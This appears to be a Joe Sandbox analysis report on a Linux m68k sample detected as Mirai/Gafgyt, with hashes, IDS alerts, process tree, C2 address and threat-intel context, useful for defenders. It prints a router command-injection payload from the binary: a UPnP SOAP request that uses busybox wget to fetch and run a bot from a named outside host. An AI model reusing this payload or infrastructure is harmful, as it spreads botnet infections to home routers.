Edit tour

Linux Analysis Report
m68k.elf

Overview

General Information

Sample name:	m68k.elf
Analysis ID:	1583622
MD5:	e4a1b59b4400ac2ae5dd53bdfeca4dfc
SHA1:	fce16c5730a7e1ba11a8d7a17b3059eb2fb42a76
SHA256:	e92e4048a4ec73288363008c0b43005289add1120d4615863b8ec828dc1e3f57
Tags:	elfuser-abuse_ch
Infos:

Detection

Gafgyt, Mirai

Score:	96
Range:	0 - 100
Whitelisted:	false

Signatures

Antivirus / Scanner detection for submitted sample

Found malware configuration

Multi AV Scanner detection for submitted file

Yara detected Gafgyt

Yara detected Mirai

Contains symbols with names commonly found in malware

Opens /proc/net/* files useful for finding connected devices and routers

Detected TCP or UDP traffic on non-standard ports

Executes the "rm" command used to delete files or directories

Sample and/or dropped files contains symbols with suspicious names

Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Sample contains strings that are user agent strings indicative of HTTP manipulation

Suricata IDS alerts with low severity for network traffic

Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)

Uses the "uname" system call to query kernel version information (possible evasion)

Classification

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1583622
Start date and time:	2025-01-03 08:14:45 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 11s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Sample name:	m68k.elf
Detection:	MAL
Classification:	mal96.spre.troj.linELF@0/2@0/0

Warnings

VT rate limit hit for: 212.64.199.97:65525
VT rate limit hit for: http://212.64.199.97/Simps/mips

Runtime Messages

Command:	/tmp/m68k.elf
PID:	6247
Exit Code:	0
Exit Code Info:
Killed:	False
Standard Output:	Infected By Simps Botnet ;) Infected By Simps Botnet ;)
Standard Error:

Process Tree

system is lnxubuntu20

dash New Fork (PID: 6234, Parent: 4331)

rm (PID: 6234, Parent: 4331, MD5: aa2b5496fdbfd88e38791ab81f90b95b) Arguments: rm -f /tmp/tmp.vQKnlJr706 /tmp/tmp.j3d074gH3Z /tmp/tmp.50QNuLNxDb

dash New Fork (PID: 6235, Parent: 4331)

rm (PID: 6235, Parent: 4331, MD5: aa2b5496fdbfd88e38791ab81f90b95b) Arguments: rm -f /tmp/tmp.vQKnlJr706 /tmp/tmp.j3d074gH3Z /tmp/tmp.50QNuLNxDb

m68k.elf (PID: 6247, Parent: 6168, MD5: cd177594338c77b895ae27c33f8f86cc) Arguments: /tmp/m68k.elf

m68k.elf New Fork (PID: 6249, Parent: 6247)

m68k.elf New Fork (PID: 6251, Parent: 6249)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Bashlite, Gafgyt	Bashlite is a malware family which infects Linux systems in order to launch distributed denial-of-service attacks (DDoS). Originally it was also known under the name Bashdoor, but this term now refers to the exploit method used by the malware. It has been used to launch attacks of up to 400 Gbps.	No Attribution	http://blog.trendmicro.com/trendlabs-security-intelligence/bashlite-affects-devices-running-on-busybox/ https://blog.cyber5w.com/gafgyt-backdoor-analysis https://blog.netlab.360.com/gafgtyt_tor-and-necro-are-on-the-move-again/ https://blog.netlab.360.com/public-cloud-threat-intelligence-202203/ https://blog.netlab.360.com/some_details_of_the_ddos_attacks_targeting_ukraine_and_russia_in_recent_days/	https://malpedia.caad.fkie.fraunhofer.de/details/elf.bashlite

Name	Description	Attribution	Blogpost URLs	Link
Mirai	Mirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world.	No Attribution	http://osint.bambenekconsulting.com/feeds/ http://www.simonroses.com/2016/10/mirai-ddos-botnet-source-code-binary-analysis/ https://blog.malwaremustdie.org/2020/02/mmd-0065-2021-linuxmirai-fbot-re.html https://blog.netlab.360.com/another-lilin-dvr-0-day-being-used-to-spread-mirai-en/ https://blog.netlab.360.com/mirai_ptea-botnet-is-exploiting-undisclosed-kguard-dvr-vulnerability-en/	https://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai

Yara Signatures

Initial Sample

Source	Rule	Description	Author
m68k.elf	JoeSecurity_Gafgyt	Yara detected Gafgyt	Joe Security
m68k.elf	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
m68k.elf	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security

Memory Dumps

Source	Rule	Description	Author
6249.1.00007faa28001000.00007faa2801d000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6249.1.00007faa28001000.00007faa2801d000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6247.1.00007faa28001000.00007faa2801d000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6247.1.00007faa28001000.00007faa2801d000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
Process Memory Space: m68k.elf PID: 6247	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Process Memory Space: m68k.elf PID: 6249	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Click to see the 1 entries

Suricata Signatures

ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-03T08:15:35.049835+0100	2848448	1	A Network Trojan was detected	192.168.2.23	53012	212.64.199.97	65525	TCP
2025-01-03T08:15:36.830444+0100	2848448	1	A Network Trojan was detected	192.168.2.23	53014	212.64.199.97	65525	TCP
2025-01-03T08:15:38.633398+0100	2848448	1	A Network Trojan was detected	192.168.2.23	53016	212.64.199.97	65525	TCP
2025-01-03T08:15:40.419885+0100	2848448	1	A Network Trojan was detected	192.168.2.23	53018	212.64.199.97	65525	TCP
2025-01-03T08:15:42.203267+0100	2848448	1	A Network Trojan was detected	192.168.2.23	53020	212.64.199.97	65525	TCP
2025-01-03T08:15:43.985518+0100	2848448	1	A Network Trojan was detected	192.168.2.23	53022	212.64.199.97	65525	TCP
2025-01-03T08:15:45.774839+0100	2848448	1	A Network Trojan was detected	192.168.2.23	53024	212.64.199.97	65525	TCP
2025-01-03T08:15:47.583285+0100	2848448	1	A Network Trojan was detected	192.168.2.23	53026	212.64.199.97	65525	TCP
2025-01-03T08:15:49.358981+0100	2848448	1	A Network Trojan was detected	192.168.2.23	53028	212.64.199.97	65525	TCP
2025-01-03T08:15:51.164229+0100	2848448	1	A Network Trojan was detected	192.168.2.23	53030	212.64.199.97	65525	TCP
2025-01-03T08:16:04.802357+0100	2848448	1	A Network Trojan was detected	192.168.2.23	53032	212.64.199.97	65525	TCP
2025-01-03T08:16:06.642562+0100	2848448	1	A Network Trojan was detected	192.168.2.23	53034	212.64.199.97	65525	TCP
2025-01-03T08:16:08.482077+0100	2848448	1	A Network Trojan was detected	192.168.2.23	53036	212.64.199.97	65525	TCP
2025-01-03T08:16:10.268373+0100	2848448	1	A Network Trojan was detected	192.168.2.23	53038	212.64.199.97	65525	TCP
2025-01-03T08:16:12.066785+0100	2848448	1	A Network Trojan was detected	192.168.2.23	53040	212.64.199.97	65525	TCP
2025-01-03T08:16:13.863865+0100	2848448	1	A Network Trojan was detected	192.168.2.23	53042	212.64.199.97	65525	TCP
2025-01-03T08:16:15.656557+0100	2848448	1	A Network Trojan was detected	192.168.2.23	53044	212.64.199.97	65525	TCP
2025-01-03T08:16:17.437526+0100	2848448	1	A Network Trojan was detected	192.168.2.23	53046	212.64.199.97	65525	TCP
2025-01-03T08:16:19.239701+0100	2848448	1	A Network Trojan was detected	192.168.2.23	53048	212.64.199.97	65525	TCP
2025-01-03T08:16:21.044651+0100	2848448	1	A Network Trojan was detected	192.168.2.23	53050	212.64.199.97	65525	TCP
2025-01-03T08:16:22.828805+0100	2848448	1	A Network Trojan was detected	192.168.2.23	53052	212.64.199.97	65525	TCP
2025-01-03T08:16:24.611996+0100	2848448	1	A Network Trojan was detected	192.168.2.23	53054	212.64.199.97	65525	TCP
2025-01-03T08:16:26.385938+0100	2848448	1	A Network Trojan was detected	192.168.2.23	53056	212.64.199.97	65525	TCP
2025-01-03T08:16:28.177411+0100	2848448	1	A Network Trojan was detected	192.168.2.23	53058	212.64.199.97	65525	TCP
2025-01-03T08:16:29.969190+0100	2848448	1	A Network Trojan was detected	192.168.2.23	53060	212.64.199.97	65525	TCP
2025-01-03T08:16:31.754689+0100	2848448	1	A Network Trojan was detected	192.168.2.23	53062	212.64.199.97	65525	TCP
2025-01-03T08:16:33.567499+0100	2848448	1	A Network Trojan was detected	192.168.2.23	53064	212.64.199.97	65525	TCP
2025-01-03T08:16:35.339386+0100	2848448	1	A Network Trojan was detected	192.168.2.23	53066	212.64.199.97	65525	TCP
2025-01-03T08:16:37.163324+0100	2848448	1	A Network Trojan was detected	192.168.2.23	53068	212.64.199.97	65525	TCP
2025-01-03T08:16:38.937997+0100	2848448	1	A Network Trojan was detected	192.168.2.23	53070	212.64.199.97	65525	TCP
2025-01-03T08:16:40.740845+0100	2848448	1	A Network Trojan was detected	192.168.2.23	53072	212.64.199.97	65525	TCP
2025-01-03T08:16:42.518040+0100	2848448	1	A Network Trojan was detected	192.168.2.23	53074	212.64.199.97	65525	TCP
2025-01-03T08:16:44.295862+0100	2848448	1	A Network Trojan was detected	192.168.2.23	53076	212.64.199.97	65525	TCP
2025-01-03T08:16:46.108868+0100	2848448	1	A Network Trojan was detected	192.168.2.23	53078	212.64.199.97	65525	TCP
2025-01-03T08:16:47.906945+0100	2848448	1	A Network Trojan was detected	192.168.2.23	53080	212.64.199.97	65525	TCP
2025-01-03T08:16:49.694117+0100	2848448	1	A Network Trojan was detected	192.168.2.23	53082	212.64.199.97	65525	TCP
2025-01-03T08:16:51.481856+0100	2848448	1	A Network Trojan was detected	192.168.2.23	53084	212.64.199.97	65525	TCP
2025-01-03T08:16:53.268064+0100	2848448	1	A Network Trojan was detected	192.168.2.23	53086	212.64.199.97	65525	TCP
2025-01-03T08:16:55.043744+0100	2848448	1	A Network Trojan was detected	192.168.2.23	53088	212.64.199.97	65525	TCP
2025-01-03T08:16:56.808081+0100	2848448	1	A Network Trojan was detected	192.168.2.23	53090	212.64.199.97	65525	TCP
2025-01-03T08:16:58.596651+0100	2848448	1	A Network Trojan was detected	192.168.2.23	53092	212.64.199.97	65525	TCP
2025-01-03T08:17:00.374223+0100	2848448	1	A Network Trojan was detected	192.168.2.23	53094	212.64.199.97	65525	TCP
2025-01-03T08:17:02.177066+0100	2848448	1	A Network Trojan was detected	192.168.2.23	53096	212.64.199.97	65525	TCP
2025-01-03T08:17:03.950260+0100	2848448	1	A Network Trojan was detected	192.168.2.23	53098	212.64.199.97	65525	TCP
2025-01-03T08:17:05.731287+0100	2848448	1	A Network Trojan was detected	192.168.2.23	53100	212.64.199.97	65525	TCP
2025-01-03T08:17:07.516982+0100	2848448	1	A Network Trojan was detected	192.168.2.23	53102	212.64.199.97	65525	TCP
2025-01-03T08:17:09.277297+0100	2848448	1	A Network Trojan was detected	192.168.2.23	53104	212.64.199.97	65525	TCP
2025-01-03T08:17:11.068185+0100	2848448	1	A Network Trojan was detected	192.168.2.23	53106	212.64.199.97	65525	TCP
2025-01-03T08:17:12.865502+0100	2848448	1	A Network Trojan was detected	192.168.2.23	53108	212.64.199.97	65525	TCP
2025-01-03T08:17:28.886823+0100	2848448	1	A Network Trojan was detected	192.168.2.23	53110	212.64.199.97	65525	TCP
2025-01-03T08:17:33.037429+0100	2848448	1	A Network Trojan was detected	192.168.2.23	53112	212.64.199.97	65525	TCP
2025-01-03T08:17:34.858020+0100	2848448	1	A Network Trojan was detected	192.168.2.23	53114	212.64.199.97	65525	TCP
2025-01-03T08:17:36.644201+0100	2848448	1	A Network Trojan was detected	192.168.2.23	53116	212.64.199.97	65525	TCP
2025-01-03T08:17:43.803368+0100	2848448	1	A Network Trojan was detected	192.168.2.23	53118	212.64.199.97	65525	TCP
2025-01-03T08:18:02.824340+0100	2848448	1	A Network Trojan was detected	192.168.2.23	53120	212.64.199.97	65525	TCP
2025-01-03T08:18:04.624254+0100	2848448	1	A Network Trojan was detected	192.168.2.23	53122	212.64.199.97	65525	TCP
2025-01-03T08:18:04.829480+0100	2848448	1	A Network Trojan was detected	192.168.2.23	53122	212.64.199.97	65525	TCP
2025-01-03T08:18:06.617218+0100	2848448	1	A Network Trojan was detected	192.168.2.23	53124	212.64.199.97	65525	TCP
2025-01-03T08:18:20.294988+0100	2848448	1	A Network Trojan was detected	192.168.2.23	53126	212.64.199.97	65525	TCP
2025-01-03T08:18:22.097671+0100	2848448	1	A Network Trojan was detected	192.168.2.23	53128	212.64.199.97	65525	TCP
2025-01-03T08:18:23.878961+0100	2848448	1	A Network Trojan was detected	192.168.2.23	53130	212.64.199.97	65525	TCP
2025-01-03T08:18:25.662587+0100	2848448	1	A Network Trojan was detected	192.168.2.23	53132	212.64.199.97	65525	TCP
2025-01-03T08:18:27.418837+0100	2848448	1	A Network Trojan was detected	192.168.2.23	53134	212.64.199.97	65525	TCP
2025-01-03T08:18:29.184975+0100	2848448	1	A Network Trojan was detected	192.168.2.23	53136	212.64.199.97	65525	TCP
2025-01-03T08:18:30.970439+0100	2848448	1	A Network Trojan was detected	192.168.2.23	53138	212.64.199.97	65525	TCP
2025-01-03T08:18:32.750857+0100	2848448	1	A Network Trojan was detected	192.168.2.23	53140	212.64.199.97	65525	TCP
2025-01-03T08:18:34.529519+0100	2848448	1	A Network Trojan was detected	192.168.2.23	53142	212.64.199.97	65525	TCP
2025-01-03T08:18:36.295003+0100	2848448	1	A Network Trojan was detected	192.168.2.23	53144	212.64.199.97	65525	TCP
2025-01-03T08:18:38.080297+0100	2848448	1	A Network Trojan was detected	192.168.2.23	53146	212.64.199.97	65525	TCP
2025-01-03T08:18:39.859031+0100	2848448	1	A Network Trojan was detected	192.168.2.23	53148	212.64.199.97	65525	TCP
2025-01-03T08:18:41.649790+0100	2848448	1	A Network Trojan was detected	192.168.2.23	53150	212.64.199.97	65525	TCP
2025-01-03T08:18:43.445621+0100	2848448	1	A Network Trojan was detected	192.168.2.23	53152	212.64.199.97	65525	TCP
2025-01-03T08:18:45.258639+0100	2848448	1	A Network Trojan was detected	192.168.2.23	53154	212.64.199.97	65525	TCP
2025-01-03T08:18:47.031527+0100	2848448	1	A Network Trojan was detected	192.168.2.23	53156	212.64.199.97	65525	TCP
2025-01-03T08:18:48.795630+0100	2848448	1	A Network Trojan was detected	192.168.2.23	53158	212.64.199.97	65525	TCP
2025-01-03T08:18:50.592214+0100	2848448	1	A Network Trojan was detected	192.168.2.23	53160	212.64.199.97	65525	TCP
2025-01-03T08:18:52.382889+0100	2848448	1	A Network Trojan was detected	192.168.2.23	53162	212.64.199.97	65525	TCP
2025-01-03T08:18:54.155000+0100	2848448	1	A Network Trojan was detected	192.168.2.23	53164	212.64.199.97	65525	TCP
2025-01-03T08:18:55.920047+0100	2848448	1	A Network Trojan was detected	192.168.2.23	53166	212.64.199.97	65525	TCP
2025-01-03T08:18:57.687455+0100	2848448	1	A Network Trojan was detected	192.168.2.23	53168	212.64.199.97	65525	TCP
2025-01-03T08:18:59.457580+0100	2848448	1	A Network Trojan was detected	192.168.2.23	53170	212.64.199.97	65525	TCP
2025-01-03T08:19:01.240877+0100	2848448	1	A Network Trojan was detected	192.168.2.23	53172	212.64.199.97	65525	TCP
2025-01-03T08:19:03.020011+0100	2848448	1	A Network Trojan was detected	192.168.2.23	53174	212.64.199.97	65525	TCP
2025-01-03T08:19:04.798810+0100	2848448	1	A Network Trojan was detected	192.168.2.23	53176	212.64.199.97	65525	TCP
2025-01-03T08:19:06.584100+0100	2848448	1	A Network Trojan was detected	192.168.2.23	53178	212.64.199.97	65525	TCP
2025-01-03T08:19:08.381817+0100	2848448	1	A Network Trojan was detected	192.168.2.23	53180	212.64.199.97	65525	TCP

String containing 'busybox' found: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.64.199.97 -l /tmp/binary -r /Simps/mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Source: classification engine

Classification label: mal96.spre.troj.linELF@0/2@0/0

Source: m68k.elf	ELF static info symbol of initial sample: libc/sysdeps/linux/m68k/crt1.S
Source: m68k.elf	ELF static info symbol of initial sample: libc/sysdeps/linux/m68k/crti.S
Source: m68k.elf	ELF static info symbol of initial sample: libc/sysdeps/linux/m68k/crtn.S

Source: /usr/bin/dash (PID: 6234)	Rm executable: /usr/bin/rm -> rm -f /tmp/tmp.vQKnlJr706 /tmp/tmp.j3d074gH3Z /tmp/tmp.50QNuLNxDb			Jump to behavior
Source: /usr/bin/dash (PID: 6235)	Rm executable: /usr/bin/rm -> rm -f /tmp/tmp.vQKnlJr706 /tmp/tmp.j3d074gH3Z /tmp/tmp.50QNuLNxDb			Jump to behavior

Source: /tmp/m68k.elf (PID: 6247)

Log file created: /tmp/Infected.log

Jump to dropped file

Source: /tmp/m68k.elf (PID: 6247)

Queries kernel information via 'uname':

Jump to behavior

Source: m68k.elf, 6247.1.00007ffeb767d000.00007ffeb769e000.rw-.sdmp	Binary or memory string: /tmp/qemu-open.sFE9rB
Source: m68k.elf, 6247.1.00007ffeb767d000.00007ffeb769e000.rw-.sdmp	Binary or memory string: V/tmp/qemu-open.sFE9rB\
Source: m68k.elf, 6247.1.00007ffeb767d000.00007ffeb769e000.rw-.sdmp, m68k.elf, 6249.1.00007ffeb767d000.00007ffeb769e000.rw-.sdmp	Binary or memory string: /usr/bin/qemu-m68k
Source: m68k.elf, 6247.1.0000560207e97000.0000560207f1c000.rw-.sdmp, m68k.elf, 6249.1.0000560207e97000.0000560207f1c000.rw-.sdmp	Binary or memory string: /etc/qemu-binfmt/m68k
Source: m68k.elf, 6247.1.0000560207e97000.0000560207f1c000.rw-.sdmp, m68k.elf, 6249.1.0000560207e97000.0000560207f1c000.rw-.sdmp	Binary or memory string: V!/etc/qemu-binfmt/m68k
Source: m68k.elf, 6247.1.00007ffeb767d000.00007ffeb769e000.rw-.sdmp, m68k.elf, 6249.1.00007ffeb767d000.00007ffeb769e000.rw-.sdmp	Binary or memory string: x86_64/usr/bin/qemu-m68k/tmp/m68k.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/m68k.elf

Stealing of Sensitive Information

Yara detected Gafgyt

Source: Yara match

File source: m68k.elf, type: SAMPLE

Yara detected Mirai

Source: Yara match	File source: m68k.elf, type: SAMPLE
Source: Yara match	File source: 6249.1.00007faa28001000.00007faa2801d000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6247.1.00007faa28001000.00007faa2801d000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: m68k.elf PID: 6247, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: m68k.elf PID: 6249, type: MEMORYSTR

Source: Initial sample	User agent string found: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36
Source: Initial sample	User agent string found: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.90 Safari/537.36
Source: Initial sample	User agent string found: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.157 Safari/537.36
Source: Initial sample	User agent string found: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.71 Safari/537.36
Source: Initial sample	User agent string found: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36
Source: Initial sample	User agent string found: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36
Source: Initial sample	User agent string found: Mozilla/5.0 (Windows NT 5.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.90 Safari/537.36

Remote Access Functionality

Yara detected Gafgyt

Source: Yara match

File source: m68k.elf, type: SAMPLE

Yara detected Mirai

Source: Yara match	File source: m68k.elf, type: SAMPLE
Source: Yara match	File source: 6249.1.00007faa28001000.00007faa2801d000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6247.1.00007faa28001000.00007faa2801d000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: m68k.elf PID: 6247, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: m68k.elf PID: 6249, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	Path Interception	Path Interception	1 Masquerading	OS Credential Dumping	11 Security Software Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	1 File Deletion	LSASS Memory	1 Remote System Discovery	Remote Desktop Protocol	Data from Removable Media	1 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Non-Standard Port	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	1 Application Layer Protocol	Traffic Duplication	Data Destruction

Malware Configuration

Threatname: Gafgyt

{"C2 url": "212.64.199.97:65525"}

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Number of created Files
Is malicious
Internet

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
m68k.elf	63%	Virustotal		Browse
m68k.elf	66%	ReversingLabs	Linux.Trojan.Mirai
m68k.elf	100%	Avira	LINUX/Mirai.bonb

Source	Detection	Scanner	Label	Link
212.64.199.97:65525	0%	Avira URL Cloud	safe
http://212.64.199.97/Simps/mips	100%	Avira URL Cloud	malware

Name	Malicious	Antivirus Detection	Reputation
212.64.199.97:65525	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://212.64.199.97/Simps/mips	m68k.elf	false	Avira URL Cloud: malware	unknown
http://schemas.xmlsoap.org/soap/encoding/	m68k.elf	false		high
http://purenetworks.com/HNAP1/	m68k.elf	false		high
http://schemas.xmlsoap.org/soap/envelope/	m68k.elf	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
212.64.199.97	unknown	Turkey	12599	ATLAS-ASTR	true
109.202.202.202	unknown	Switzerland	13030	INIT7CH	false
91.189.91.43	unknown	United Kingdom	41231	CANONICAL-ASGB	false
91.189.91.42	unknown	United Kingdom	41231	CANONICAL-ASGB	false

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
212.64.199.97	mips.elf	Get hash	malicious	Mirai	Browse
	armv6l.elf	Get hash	malicious	Mirai	Browse
	sparc.elf	Get hash	malicious	Gafgyt, Mirai	Browse
	armv4l.elf	Get hash	malicious	Mirai	Browse
	mipsel.elf	Get hash	malicious	Mirai	Browse
	sh4.elf	Get hash	malicious	Gafgyt, Mirai	Browse
	powerpc.elf	Get hash	malicious	Mirai	Browse
	i686.elf	Get hash	malicious	Mirai	Browse
109.202.202.202	kpLwzBouH4.elf	Get hash	malicious	Unknown	Browse	ch.archive.ubuntu.com/ubuntu/pool/main/f/firefox/firefox_92.0%2bbuild3-0ubuntu0.20.04.1_amd64.deb
91.189.91.43	mips.elf	Get hash	malicious	Mirai	Browse
	sparc.elf	Get hash	malicious	Gafgyt, Mirai	Browse
	mips.elf	Get hash	malicious	Unknown	Browse
	arm7.elf	Get hash	malicious	Unknown	Browse
	x86_64.elf	Get hash	malicious	Mirai	Browse
	arm5.elf	Get hash	malicious	Unknown	Browse
	141.11.33.73-boatnet.arm-2025-01-03T05_39_17.elf	Get hash	malicious	Mirai	Browse
	arm5.elf	Get hash	malicious	Mirai	Browse
	i.elf	Get hash	malicious	Unknown	Browse
	mpsl.elf	Get hash	malicious	Mirai	Browse
91.189.91.42	mips.elf	Get hash	malicious	Mirai	Browse
	sparc.elf	Get hash	malicious	Gafgyt, Mirai	Browse
	powerpc.elf	Get hash	malicious	Mirai	Browse
	x86.elf	Get hash	malicious	Unknown	Browse
	mips.elf	Get hash	malicious	Unknown	Browse
	arm7.elf	Get hash	malicious	Unknown	Browse
	x86_64.elf	Get hash	malicious	Mirai	Browse
	arm5.elf	Get hash	malicious	Unknown	Browse
	141.11.33.73-boatnet.arm-2025-01-03T05_39_17.elf	Get hash	malicious	Mirai	Browse
	arm5.elf	Get hash	malicious	Mirai	Browse

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CANONICAL-ASGB	spc.elf	Get hash	malicious	Unknown	Browse	185.125.190.26
	x86.elf	Get hash	malicious	Mirai	Browse	185.125.190.26
	mips.elf	Get hash	malicious	Mirai	Browse	91.189.91.42
	armv6l.elf	Get hash	malicious	Mirai	Browse	185.125.190.26
	sparc.elf	Get hash	malicious	Gafgyt, Mirai	Browse	91.189.91.42
	powerpc.elf	Get hash	malicious	Mirai	Browse	91.189.91.42
	x86.elf	Get hash	malicious	Unknown	Browse	91.189.91.42
	mips.elf	Get hash	malicious	Unknown	Browse	91.189.91.42
	arm5.elf	Get hash	malicious	Unknown	Browse	185.125.190.26
	arm7.elf	Get hash	malicious	Unknown	Browse	91.189.91.42
CANONICAL-ASGB	spc.elf	Get hash	malicious	Unknown	Browse	185.125.190.26
	x86.elf	Get hash	malicious	Mirai	Browse	185.125.190.26
	mips.elf	Get hash	malicious	Mirai	Browse	91.189.91.42
	armv6l.elf	Get hash	malicious	Mirai	Browse	185.125.190.26
	sparc.elf	Get hash	malicious	Gafgyt, Mirai	Browse	91.189.91.42
	powerpc.elf	Get hash	malicious	Mirai	Browse	91.189.91.42
	x86.elf	Get hash	malicious	Unknown	Browse	91.189.91.42
	mips.elf	Get hash	malicious	Unknown	Browse	91.189.91.42
	arm5.elf	Get hash	malicious	Unknown	Browse	185.125.190.26
	arm7.elf	Get hash	malicious	Unknown	Browse	91.189.91.42
INIT7CH	mips.elf	Get hash	malicious	Mirai	Browse	109.202.202.202
	sparc.elf	Get hash	malicious	Gafgyt, Mirai	Browse	109.202.202.202
	powerpc.elf	Get hash	malicious	Mirai	Browse	109.202.202.202
	x86.elf	Get hash	malicious	Unknown	Browse	109.202.202.202
	mips.elf	Get hash	malicious	Unknown	Browse	109.202.202.202
	arm7.elf	Get hash	malicious	Unknown	Browse	109.202.202.202
	x86_64.elf	Get hash	malicious	Mirai	Browse	109.202.202.202
	arm5.elf	Get hash	malicious	Unknown	Browse	109.202.202.202
	141.11.33.73-boatnet.arm-2025-01-03T05_39_17.elf	Get hash	malicious	Mirai	Browse	109.202.202.202
	arm5.elf	Get hash	malicious	Mirai	Browse	109.202.202.202
ATLAS-ASTR	mips.elf	Get hash	malicious	Mirai	Browse	212.64.199.97
	armv6l.elf	Get hash	malicious	Mirai	Browse	212.64.199.97
	sparc.elf	Get hash	malicious	Gafgyt, Mirai	Browse	212.64.199.97
	armv4l.elf	Get hash	malicious	Mirai	Browse	212.64.199.97
	mipsel.elf	Get hash	malicious	Mirai	Browse	212.64.199.97
	sh4.elf	Get hash	malicious	Gafgyt, Mirai	Browse	212.64.199.97
	powerpc.elf	Get hash	malicious	Mirai	Browse	212.64.199.97
	i686.elf	Get hash	malicious	Mirai	Browse	212.64.199.97
	doc_82555.xlsm	Get hash	malicious	Hidden Macro 4.0 Emotet	Browse	212.64.200.154
	commenti_19265309.xlsm	Get hash	malicious	Hidden Macro 4.0 Emotet	Browse	212.64.200.154

Process:	/tmp/m68k.elf
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	149
Entropy (8bit):	5.041576920829991
Encrypted:	false
SSDEEP:	3:xRbQRAZvbFhSZWFBAK8dAuFUJ4gnicMMIVDt8TovZ2XCRA5Adcovn:xR0qvbFhSZW8K8djmHicNoDt8kBSKBcy
